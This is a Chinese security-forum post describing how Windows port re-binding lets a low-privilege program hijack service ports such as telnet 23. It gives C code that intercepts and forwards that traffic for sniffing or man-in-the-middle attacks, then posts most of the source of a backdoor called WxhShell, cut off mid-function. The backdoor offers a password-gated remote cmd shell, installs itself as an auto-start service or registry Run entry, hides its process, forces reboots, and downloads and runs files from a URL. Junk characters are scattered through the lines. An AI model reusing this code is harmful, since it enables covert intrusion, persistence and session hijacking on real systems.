社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16481阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,bZL C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4`lLf  
`:ArT}F  
  saddr.sin_family = AF_INET; GiJ *Wp  
Vouvr<43o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2VPdw@"~}  
*zaQx+L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p99 ]  
$CRm3#+ ~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kPKB|kP\  
! :Y:pu0  
  这意味着什么?意味着可以进行如下的攻击: V"[g.%%Y  
,A9]CQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hE &xE;  
>d(~# Z`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EW}Bzh>b  
$1SPy|y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0$(WlP |  
\/93Dz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kF3k7,.8&  
d .[8c=$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #?RU;1)Cw  
b\ X@gq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~]nRV *^  
@tF\p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \|n- O=}=2  
8mCxn@yV  
  #include , |0}<%  
  #include .14~J6  
  #include 4%{,] q\p  
  #include    Qu"8(Jk/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S\^P ha q  
  int main() _aq 8@E~  
  { Vo4,@scG  
  WORD wVersionRequested; pXtl 6K%  
  DWORD ret; ^Xz@`_I  
  WSADATA wsaData; W}nlRbN?  
  BOOL val;  nI[os  
  SOCKADDR_IN saddr; >R|/M`<ph  
  SOCKADDR_IN scaddr; xv46r=>  
  int err; <'}YyU=  
  SOCKET s; *HU &4E\a  
  SOCKET sc; #`~C)=-  
  int caddsize; f<-Jg  
  HANDLE mt; SDL7<ZaE  
  DWORD tid;   Eu0akqZ  
  wVersionRequested = MAKEWORD( 2, 2 ); 'Oxy$U   
  err = WSAStartup( wVersionRequested, &wsaData ); XUrXnz|>  
  if ( err != 0 ) { q~rEq%tk  
  printf("error!WSAStartup failed!\n"); QER?i;-wb  
  return -1; !zBhbmlKt  
  } \h+AXs<j  
  saddr.sin_family = AF_INET; 1&\0:vA^Y  
   Y h7rU?Gj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |O3q@  
{0r0\D>bw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0`Kj 25  
  saddr.sin_port = htons(23); ] ;KJ6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i)\ L:qF5  
  { 2L!u1  
  printf("error!socket failed!\n"); V#v`(j%  
  return -1; K:J3Z5"  
  } 5b5x!do  
  val = TRUE; c7?_46 J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -Mi p,EO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <<UB ^v m  
  { 6 o^,@~:R  
  printf("error!setsockopt failed!\n"); `34zkPB??  
  return -1; 5sdn[Tt##  
  } N1}c9}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MlcR"gl*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e4-@ f%5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r`$OO,W  
u\a#{G;Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r+'qd)  
  { w!#tTyk`  
  ret=GetLastError(); r=Gks=NX"  
  printf("error!bind failed!\n"); oL-]3TY~  
  return -1; 0*VWzH   
  } q$p%ZefZ  
  listen(s,2); ) g0%{dfJ  
  while(1) [2>yYr s_=  
  { U] ~$g}!)  
  caddsize = sizeof(scaddr); 3s5z UT;  
  //接受连接请求 RPwbTAl}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ycc4W*]  
  if(sc!=INVALID_SOCKET) 0;hqIJcE:\  
  { >f^r^P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y1L[;)Hn  
  if(mt==NULL) dA#Q}.*r  
  { Q_1:tW &  
  printf("Thread Creat Failed!\n"); s:?SF.  
  break; +ndaLhj'  
  } &\#sI9  
  } ^/)^7\@  
  CloseHandle(mt); j >Ht@Wi  
  } Hfv7LM  
  closesocket(s); #TeG-sFJg@  
  WSACleanup(); ]"r&]qx7  
  return 0; 4hO!\5-w:  
  }   w2 ;eh]k  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]5mnew  
  { }\hVy(\c  
  SOCKET ss = (SOCKET)lpParam; x`U^OLV  
  SOCKET sc; 'g6\CZw(#  
  unsigned char buf[4096]; tG:25T0  
  SOCKADDR_IN saddr; .>q8W  
  long num; =FlDb 5t{  
  DWORD val; Z|%_&M  
  DWORD ret; YA''2Ii  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Az9?Ra;U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Gp1?iX?ml  
  saddr.sin_family = AF_INET; >c1!p]&V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R"4Vtww  
  saddr.sin_port = htons(23); 1=r#d-\tR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j@=%_^:i  
  { R}'bP  
  printf("error!socket failed!\n"); Ua<5U5  
  return -1; 3("_Z%  
  } f6EZ( v  
  val = 100; Mh~q//  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Olt `:;j-  
  { ) dn(G@5  
  ret = GetLastError(); 2X.r%&!1M  
  return -1; oin$-i|Xp!  
  } 3Ko/{f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hM@ HA  
  { |pm7_[  
  ret = GetLastError(); //*fSF   
  return -1; T{Gj+7bQ~  
  } !_"@^?,q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DD7h^-x  
  { $g@=Z"  
  printf("error!socket connect failed!\n"); IW>T}@ |  
  closesocket(sc); ;t'5},(FP  
  closesocket(ss); ,qA(\[  
  return -1; 8R2QZXJb-  
  } Jy^u?  
  while(1) cU RkP`  
  { "/)#O~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Diy8gt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ztnFhJ<a$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MPCBT!o4Z  
  num = recv(ss,buf,4096,0); M:XSQ["6>V  
  if(num>0) }d&_q7L@@6  
  send(sc,buf,num,0); V E#Wb7  
  else if(num==0) C^3 <={  
  break; O#b6mKPt;t  
  num = recv(sc,buf,4096,0); zepm!JR1  
  if(num>0) YT8vP~  
  send(ss,buf,num,0); 5}:-h>  
  else if(num==0) ?u-|>N>  
  break; fo5iJz"Z  
  } hq%?=2'9?  
  closesocket(ss); %+f>2U4I  
  closesocket(sc); >,TUZ  
  return 0 ; zer%W%  
  } vBRQp&YwX  
J3,fk)  
n\QgOSr<  
========================================================== |h-QP#]/  
0Z~p%C<LW  
下边附上一个代码,,WXhSHELL e7@ojOQ%  
0vFD3}~>  
========================================================== FQm`~rA~zt  
Qi^Z11  
#include "stdafx.h" <L`KzaA  
`2'#! -  
#include <stdio.h> `rgn<I"  
#include <string.h> RzBF~2 >i  
#include <windows.h> 9}l33T4T  
#include <winsock2.h> .>CPRVuVI  
#include <winsvc.h> H!?c\7adX  
#include <urlmon.h> ,.rs(5.z8/  
!HrKXy 0{  
#pragma comment (lib, "Ws2_32.lib") l9}3XI.=  
#pragma comment (lib, "urlmon.lib") }&/o'w2wY  
t5[ #x4 p  
#define MAX_USER   100 // 最大客户端连接数 B$- R-S6  
#define BUF_SOCK   200 // sock buffer &7<TAo;O  
#define KEY_BUFF   255 // 输入 buffer `JOOnTenQ  
yXz*5W_0D  
#define REBOOT     0   // 重启 mX_a^_[G  
#define SHUTDOWN   1   // 关机 %{ABaeb]  
jNTjSX  
#define DEF_PORT   5000 // 监听端口 YwteZSbp6M  
iEd\6EZ  
#define REG_LEN     16   // 注册表键长度 1HXjN~XF  
#define SVC_LEN     80   // NT服务名长度 Kh,V.+7k  
J]v%q,"  
// 从dll定义API IzsphBI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }x@2]juJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u6T+Cg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q?e*4ba  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QOjqQfmM;  
qLw{?sH}J/  
// wxhshell配置信息 { D^{[I  
struct WSCFG { _]yn"p  
  int ws_port;         // 监听端口 HIQ _%L4]  
  char ws_passstr[REG_LEN]; // 口令 8JM&(Q%#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8C[C{qOJ  
  char ws_regname[REG_LEN]; // 注册表键名 nTuJEFn{  
  char ws_svcname[REG_LEN]; // 服务名 }'""(,2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,-i zEr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rec6c&5_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }v Z+A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ' qWALu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y&Mr=5:y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W{%TlN  
)\_:{c  
}; v 0 }@  
n1JRDw"e$$  
// default Wxhshell configuration hn^<;av=  
struct WSCFG wscfg={DEF_PORT, ZYI{i?Te#  
    "xuhuanlingzhe", /]=C{)8  
    1, %70~M_  
    "Wxhshell", L%BNz3:Dt  
    "Wxhshell", TatpXN\  
            "WxhShell Service", }2<r,  
    "Wrsky Windows CmdShell Service", Ans cr  
    "Please Input Your Password: ", [K9'<Qnu  
  1, ]DOX?qI i  
  "http://www.wrsky.com/wxhshell.exe", mX\T D0$d  
  "Wxhshell.exe" n1~o1  
    }; TT'[qfAI  
8dZ0rPd?  
// 消息定义模块 3^R&:|,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x$IX5:E#e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :|_'fNd+!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &=#[(vl  
char *msg_ws_ext="\n\rExit."; >_o}  
char *msg_ws_end="\n\rQuit."; ~p1j`r;  
char *msg_ws_boot="\n\rReboot..."; lp<g \  
char *msg_ws_poff="\n\rShutdown..."; |UK}  
char *msg_ws_down="\n\rSave to "; "$N#p5  
}2(,K[?  
char *msg_ws_err="\n\rErr!"; 9{-EJ)  
char *msg_ws_ok="\n\rOK!"; vWRju*Z&  
K%"5ImM  
char ExeFile[MAX_PATH]; `wus\&!W  
int nUser = 0; 3D` YZ#M  
HANDLE handles[MAX_USER]; l% ?T2Fm3>  
int OsIsNt; 3|1i lP  
w9NHk~LHKF  
SERVICE_STATUS       serviceStatus; ux_Mrh'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yj)#k)x  
6b+b/>G0  
// 函数声明 7]9 a<  
int Install(void); *$p2*%7Ne  
int Uninstall(void); y$@ZN~8  
int DownloadFile(char *sURL, SOCKET wsh); "i U}]e0  
int Boot(int flag); > ;L6xt3  
void HideProc(void); MO&}r7qq  
int GetOsVer(void); hv8P4"i v  
int Wxhshell(SOCKET wsl); %%NlTE8*  
void TalkWithClient(void *cs); -sw  .  
int CmdShell(SOCKET sock); \<y`!"c  
int StartFromService(void); L%Ow#.[C2  
int StartWxhshell(LPSTR lpCmdLine); W.dt:_  
Rn{iaM2Y<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {P{bOe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V>R8GSx  
[* @5\NWR}  
// 数据结构和表定义 c.,2GwW  
SERVICE_TABLE_ENTRY DispatchTable[] = NXNY"r7~  
{ _h X]%  
{wscfg.ws_svcname, NTServiceMain}, ;cPy1  
{NULL, NULL} <(-3_s6-  
}; !OA]s%u  
R$[#+X!  
// 自我安装 %7"X(Ts7B  
int Install(void) ^;/b+ /B0  
{ wm)#[x #  
  char svExeFile[MAX_PATH]; bKrhIU[  
  HKEY key; D+]a.& {p  
  strcpy(svExeFile,ExeFile); 3 |hHR  
qxFB%KqU  
// 如果是win9x系统,修改注册表设为自启动 eU<]o< \Qo  
if(!OsIsNt) { SILQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c3:,Ab|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UVw~8o9s  
  RegCloseKey(key); PNaay:a|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BO~PT,QrF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EX?MA6U  
  RegCloseKey(key); T9]HGB{  
  return 0;  /o[?D  
    } wQwQXNG  
  } VJdIHsI  
} ZCB_  
else { r:F  
/ C>wd   
// 如果是NT以上系统,安装为系统服务 COW}o~3-4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q\cjPc0y  
if (schSCManager!=0) ~.UrL(l=  
{ 4eikLRD,  
  SC_HANDLE schService = CreateService 0%m)@ukb  
  ( $% 1vW=d  
  schSCManager, D9FJ 1~  
  wscfg.ws_svcname, vgUb{D  
  wscfg.ws_svcdisp, 5m9*85Ib  
  SERVICE_ALL_ACCESS, =dII- L=`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )yTm.F  
  SERVICE_AUTO_START, d/ bEt&  
  SERVICE_ERROR_NORMAL, mnmP<<8C,  
  svExeFile, =$nB/K,8AX  
  NULL, .G+Pe'4a  
  NULL, yi l[gPy4B  
  NULL, M#~Cc~oT  
  NULL, w:?oTuw  
  NULL 'bo~%WA]n  
  ); XLL/4)  
  if (schService!=0) |!"2fI  
  { L{(QpgHZ  
  CloseServiceHandle(schService); #B:hPZM1  
  CloseServiceHandle(schSCManager); O2BW6Wc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |b*? qf  
  strcat(svExeFile,wscfg.ws_svcname); ^4,a8`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )hk   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tI7:5Cm  
  RegCloseKey(key); Y=?yhAw  
  return 0; hi0R.V&  
    } wg0 \_@3  
  } rMUT_^  
  CloseServiceHandle(schSCManager); xf b]b2  
} L2, 1Kt7  
} z .Y$7bf)  
GKoK7qH\J  
return 1; Hd,p!_  
} !zPa_`P  
L+'Fs  
// 自我卸载 xo&]RYG[<  
int Uninstall(void) W2z*91$  
{ ox%9Ph  
  HKEY key; N_pJk2E  
1qf!DMcdZ  
if(!OsIsNt) { oiX+l5`pz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tl><"6AIP  
  RegDeleteValue(key,wscfg.ws_regname); Clh!gpB c  
  RegCloseKey(key); 1[jb)j1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (y M^  
  RegDeleteValue(key,wscfg.ws_regname); BM(]QUxRd  
  RegCloseKey(key); '3<fsK=  
  return 0; w^LuIbA  
  } 7DIIx}A  
} jLpc Zb,  
} de>v  
else { NcP.;u;`  
{; .T7dL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Oi:<~E[kz.  
if (schSCManager!=0) ?c7*_<W5  
{ A?`jnRo=\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zc!@0  
  if (schService!=0) 1.gG^$Jd  
  { +3&z N(  
  if(DeleteService(schService)!=0) { G 2mX;  
  CloseServiceHandle(schService); glDh([  
  CloseServiceHandle(schSCManager); MW PvR|Q  
  return 0; T}4/0yR2  
  } )=-0M9e.{  
  CloseServiceHandle(schService); kdn'6>\  
  } bzvh%RsW  
  CloseServiceHandle(schSCManager); 9Ffp2NW`;  
} ($L Ll;1  
} !vk|<P1  
mWyqG*-Hb  
return 1; #vzEu )Ul  
} <D::9c j  
H_0/f8GwnG  
// 从指定url下载文件 *FmTy|  
int DownloadFile(char *sURL, SOCKET wsh) 8X I?  
{ P(;?kg}0  
  HRESULT hr; VwEb7v,^0\  
char seps[]= "/"; P0$e~=Q^4  
char *token; ,9P:Draxs`  
char *file; ixV0|P8,c  
char myURL[MAX_PATH]; r YF #^  
char myFILE[MAX_PATH]; }=|!:kiE  
OQ,NOiNkap  
strcpy(myURL,sURL); ?_v{| YI=  
  token=strtok(myURL,seps); V13BB44  
  while(token!=NULL) ** +e7k   
  { BbRBT@  
    file=token; '(dz"PL.  
  token=strtok(NULL,seps); QMsHC%l3b  
  } 2CzaL,je[  
Q7g>4GZC  
GetCurrentDirectory(MAX_PATH,myFILE); 5bA)j!#)|X  
strcat(myFILE, "\\"); ki{3IEOr}  
strcat(myFILE, file); z.CywME<)t  
  send(wsh,myFILE,strlen(myFILE),0); YG8>czC  
send(wsh,"...",3,0); sF7^qrVQP9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]q6;#EUr?  
  if(hr==S_OK) [|lB5gi4t!  
return 0; doB  
else 4&HXkRs:  
return 1; /l{ &iLz[  
m~>Y{F2  
} 3 E3qd'  
_$p$")  
// 系统电源模块 3( ]M{4j  
int Boot(int flag) N |1>ooU[  
{ OKHX)"j\\  
  HANDLE hToken; ^::EikpF%  
  TOKEN_PRIVILEGES tkp; P1zdK0TM  
?\#N9 +{W  
  if(OsIsNt) { IJJ%$%F/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F|& {Rt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k2xHH$+{#=  
    tkp.PrivilegeCount = 1; 7y`}PMn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9<vWcq*4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1&/FG(*/  
if(flag==REBOOT) { 8k^| G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XK"-'  
  return 0; Uh'#izm[l  
} Lgz$]Jbl8  
else { 2jbIW*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $46{<4.  
  return 0; @m?QR(LJ  
} !I\!;b  
  } &h~Xq^  
  else { 4HAp{a1  
if(flag==REBOOT) { ||zb6|7I4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h!#:$|Q  
  return 0; J|3E-p\o  
} qClHP)<  
else { HK~xOAF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,KJw|x4}\  
  return 0; 5VO;s1  
} 9 C{;h  
} N-g8}03  
?DH"V7bs  
return 1; '&99?s`u  
} xcJ `1*1N  
QW_agm  
// win9x进程隐藏模块 kSc{^-<R  
void HideProc(void) ^ZM0c>ev=l  
{ 2S8P}$mM  
O,<IGO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O'GG Ti]e  
  if ( hKernel != NULL ) vfB2XVc  
  { KvQ,;A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CAT.4GM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !vn1v)6  
    FreeLibrary(hKernel); ^VT1vu %03  
  } @h?shW=^  
&/A 8-:m  
return; 1G7b%yPA  
} + <c^=&7Lq  
s!+"yK  
// 获取操作系统版本 4Iq'/r  
int GetOsVer(void) l/y]nw  
{ IZ3{>N V  
  OSVERSIONINFO winfo; 0Y]0!}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L&-hXGx=7  
  GetVersionEx(&winfo); $hR)i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =TP( UJ  
  return 1; D^U: ih  
  else ]0B|V2D#e  
  return 0; #&8}<8V  
} L0%hnA@  
39 Y(!q  
// 客户端句柄模块 @>x pYV  
int Wxhshell(SOCKET wsl) zNSu  
{ ];+#i"l  
  SOCKET wsh; 65,(4Udz!  
  struct sockaddr_in client; ^O^:$nXhYy  
  DWORD myID; h5kPn~  
/$"[k2 N  
  while(nUser<MAX_USER) QFPfIb/  
{ O;HY%  
  int nSize=sizeof(client); GO! uwo:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fWGOP~0  
  if(wsh==INVALID_SOCKET) return 1; CJaKnz  
HftxS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !5}l&7:(MN  
if(handles[nUser]==0) ?@6/Alk  
  closesocket(wsh); |DF9cd^  
else i v(5&'[p  
  nUser++; z5Qs @dG  
  } ":Edu,6O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lh$dzHq  
~Z$bf>[(R7  
  return 0; rSP_:}  
} ?R Fg$Z'^  
02AI%OOH  
// 关闭 socket :RxHw;!  
void CloseIt(SOCKET wsh) s,*c@1f?  
{ l]2r)!Q7  
closesocket(wsh); s]27l3)B  
nUser--; HjWq[[Nz  
ExitThread(0); =wi*Nd7L  
} *oI*-C  
Vy G4(X va  
// 客户端请求句柄 Z< b"`ty.  
void TalkWithClient(void *cs) 4\ /*jA  
{ G&eP5'B4i  
qu6DQ@ ~YC  
  SOCKET wsh=(SOCKET)cs; $t rAC@3O@  
  char pwd[SVC_LEN]; r!N]$lB  
  char cmd[KEY_BUFF]; w-N1.^  
char chr[1]; pL1s@KR  
int i,j; Lp:6 ;  
>n.z)ZJ  
  while (nUser < MAX_USER) { m:Go-tk  
>x:EJV   
if(wscfg.ws_passstr) { fvo<(c#Y#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gd@p|PsS^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |`yZIY_  
  //ZeroMemory(pwd,KEY_BUFF); |f2A89  
      i=0; YJ7V`N p  
  while(i<SVC_LEN) { !$XHQLqF2  
 ZC^C  
  // 设置超时 }UyQ#U  
  fd_set FdRead; x4a:PuqmGG  
  struct timeval TimeOut; 6er(%4!  
  FD_ZERO(&FdRead); )E7 FA|  
  FD_SET(wsh,&FdRead); T9y;OG  
  TimeOut.tv_sec=8; ZX`J8lZP  
  TimeOut.tv_usec=0; ^ DAa%u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u>T76,8|\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QYE7p\  
WN a0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ek-!b!iI  
  pwd=chr[0]; U!q[e`B  
  if(chr[0]==0xd || chr[0]==0xa) { eQX`,9:5  
  pwd=0; ,35&G"JK5  
  break; @y~P&HUN  
  } eTE2J~\  
  i++; P]<= ! F  
    } Sg*0[a3z  
0??Yr  
  // 如果是非法用户,关闭 socket [!*xO?yCJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EH9Hpo  
} %I4zQiJ%  
q@#BPu"\l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L0h G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1-;?0en&0  
\x\.  
while(1) { K!8zwb=fq  
Re:T9K'e  
  ZeroMemory(cmd,KEY_BUFF); (RF>s.B<  
KHj6Tg;)  
      // 自动支持客户端 telnet标准   6!7Pm>ml  
  j=0; +$beo2x6  
  while(j<KEY_BUFF) { 6517Km 4-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M[Y4_$k<-  
  cmd[j]=chr[0]; <4?*$  
  if(chr[0]==0xa || chr[0]==0xd) { }~enEZ  
  cmd[j]=0; %JoxYy-  
  break; Xza4iV  
  } w{7 ji}  
  j++; )@ PnTpL*  
    } 0g(6r-2)7  
[Z }B"  
  // 下载文件 u35q,u=I  
  if(strstr(cmd,"http://")) { 3B18dv,V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Q9y*:  
  if(DownloadFile(cmd,wsh)) wa3F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+EKF.K  
  else nmE5]Pcg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0^<,(]!  
  } ,w\ wQn>]K  
  else { 6Dzs?P  
LDX*<(  
    switch(cmd[0]) { Jh2Wr!5  
  C-#.RI7  
  // 帮助 ?eWJa  
  case '?': { ^e9aD9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yz)ESQ~va  
    break; &6"P7X  
  } lCFU1 GHH  
  // 安装 zHFTCL>"  
  case 'i': { Wvr+y!F  
    if(Install()) $pu3Ig$^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mUTtYU  
    else i,OKf Xp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U)~#g'6:8  
    break; kEAhTh&g*  
    } zA{8C];~  
  // 卸载 3q~Fl=|.o  
  case 'r': { @InJ_9E  
    if(Uninstall()) {!K;`I[]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q) _r3   
    else ER<eX4oU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8tZ} ;="F  
    break; 46ChMTt  
    } KM5 JZZP  
  // 显示 wxhshell 所在路径 xyV]?~7  
  case 'p': { 9.8,q  
    char svExeFile[MAX_PATH]; DT? m/*  
    strcpy(svExeFile,"\n\r"); h DtK nF  
      strcat(svExeFile,ExeFile); _7 `E[&v  
        send(wsh,svExeFile,strlen(svExeFile),0); (t74a E pi  
    break; t,Q'S`eTU  
    } A+2oh3  
  // 重启 TzY!D *%z  
  case 'b': { 6UB6;-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tf l;7w.(A  
    if(Boot(REBOOT)) 7|~:P $M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QN #)F  
    else { :0dfB&7  
    closesocket(wsh); !fZLQc  
    ExitThread(0); { y/-:=S)A  
